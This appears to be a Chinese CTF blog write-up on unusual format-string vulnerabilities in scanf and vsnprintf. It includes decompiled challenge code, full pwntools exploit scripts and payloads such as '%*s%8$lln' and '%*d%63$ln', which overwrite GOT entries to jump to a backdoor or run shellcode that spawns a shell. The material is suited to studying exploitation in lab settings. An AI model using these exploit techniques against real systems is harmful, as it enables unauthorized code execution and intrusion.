非常见类型的格式化字符串
scanf的格式化字符串
- 做了这么久的格式化字符串,第一次见scanf的格式化字符串,于是做个记录
- 题目分析
可以看到把read读入的作为scanf的第一个参数,同时要注意一个细节,此时rsi也是指向buf(但是后来发现这个没用。。。)
- 这个题卡了很久只要是因为网上关于scanf的文章很少,而且也不是漏洞分析,大多是C语言,最后类比printf函数做出来了
- exp
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
context(os='linux', arch='amd64', log_level='debug')
# p=process("/home/zp9080/PWN/vuln")
p=remote('10.128.140.23',54821)
elf=ELF('/home/zp9080/PWN/vuln')
libc=elf.libc
def dbg():
gdb.attach(p,'b *0x40127C')
pause()
# dbg()
backdoor=0x4012C2
p.recvuntil("Welcome to xyctf, this is a gift: ")
libcbase=int(p.recv(14), 16)-libc.sym['printf']
print(hex(libcbase))
libcgot=libcbase+0x1EC040
payload=b'%*s%8$lln'
payload=payload.ljust(0x10,b'a')+p64(libcgot)
p.send(payload)
payload=b'a'*backdoor
p.sendline(payload)
p.interactive()
- exp分析
- 这个题上来就给了libc,但是elf文件是full rel,所以想到打libc.got,起初打strlen.got但是好像没有,最后调试的时候跟进printf函数随便找了个要用到got的
- 因为b'a'* backdoor输入很多,因此要用%*s不然会爆栈
- 在scanf函数中%n和printf函数是很类似的,只不过把成功读入的字符串写入对应的指针所指向的地方,于是有了此解法
vsnprintf的格式化字符串
- DASCTF2024 八月挑战赛 clock
- 在init函数中让堆可执行
char *init()
{
char *buf; // [rsp+8h] [rbp-8h]
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
buf = (char *)malloc(0x100uLL);
mprotect(buf - 672, 0x21000uLL, 7);
puts("plz input mprotect code");
read(0, buf, 0x10uLL);
return buf;
}
- 其他函数都没有什么漏洞,只在display_current_time函数中有个格式化字符串漏洞
int display_current_time()
{
int v0; // r8d
int v1; // r9d
char *v2; // rax
char pwd[48]; // [rsp+0h] [rbp-70h] BYREF
char buf[48]; // [rsp+30h] [rbp-40h] BYREF
time_t timer; // [rsp+60h] [rbp-10h] BYREF
void *name; // [rsp+68h] [rbp-8h]
timer = time(0LL);
name = malloc(0x100uLL);
printf("You should login first,plz input format:");
read(0, buf, 0x30uLL);
printf("input name:");
read(0, name, 0x100uLL);
printf("input pwd:");
read(0, pwd, 0x30uLL);
format_and_print((unsigned int)buf, (_DWORD)name, (unsigned int)pwd, (_DWORD)name, v0, v1, pwd[0]);
puts("/bin/sh");
v2 = ctime(&timer);
return printf("Current time is %s", v2);
}
got表可写,同时格式化字符串后有个puts函数,想到劫持puts的got为shellcode地址。
但是遇到一个问题,和平常printf不一致的是,vsnprintf并不能泄漏堆地址和栈地址出来,他会将数据存到buffer中。
这里就要用一个小trick,利用%*d进行格式化字符串,具体内容如下
那这里就可以相当于printf("%*d%63$ln",name,pwd); 那么name的值就被当作width补充space,进而利用\$n讲puts_got改写为堆地址,进行执行shellcode
- exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
# p=remote('8.147.134.27',36901)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
def dbg():
gdb.attach(p,'b *0x04013E5')
pause()
p.recvuntil(b"plz input mprotect code")
p.sendline(b"a")
p.recvuntil(b"Enter your choice:")
p.sendline(b"3")
p.recvuntil(b"You should login first,plz input format:")
#puts_got
payload1 = b"%4210688x%33$ln"
p.sendline(payload1)
p.recvuntil(b"input name:")
p.sendline(b"name")
p.recvuntil(b"input pwd:")
p.sendline(b"pwd")
# dbg()
p.recvuntil(b"Enter your choice:")
p.sendline(b"3")
p.recvuntil(b"You should login first,plz input format:")
payload2 = b"%*d%63$ln"
p.sendline(payload2)
shellcode = asm(shellcraft.sh())
p.recvuntil(b"input name:")
p.sendline(shellcode)
p.recvuntil(b"input pwd:")
p.sendline(b"pwd")
p.interactive()
0 条评论
可输入 255 字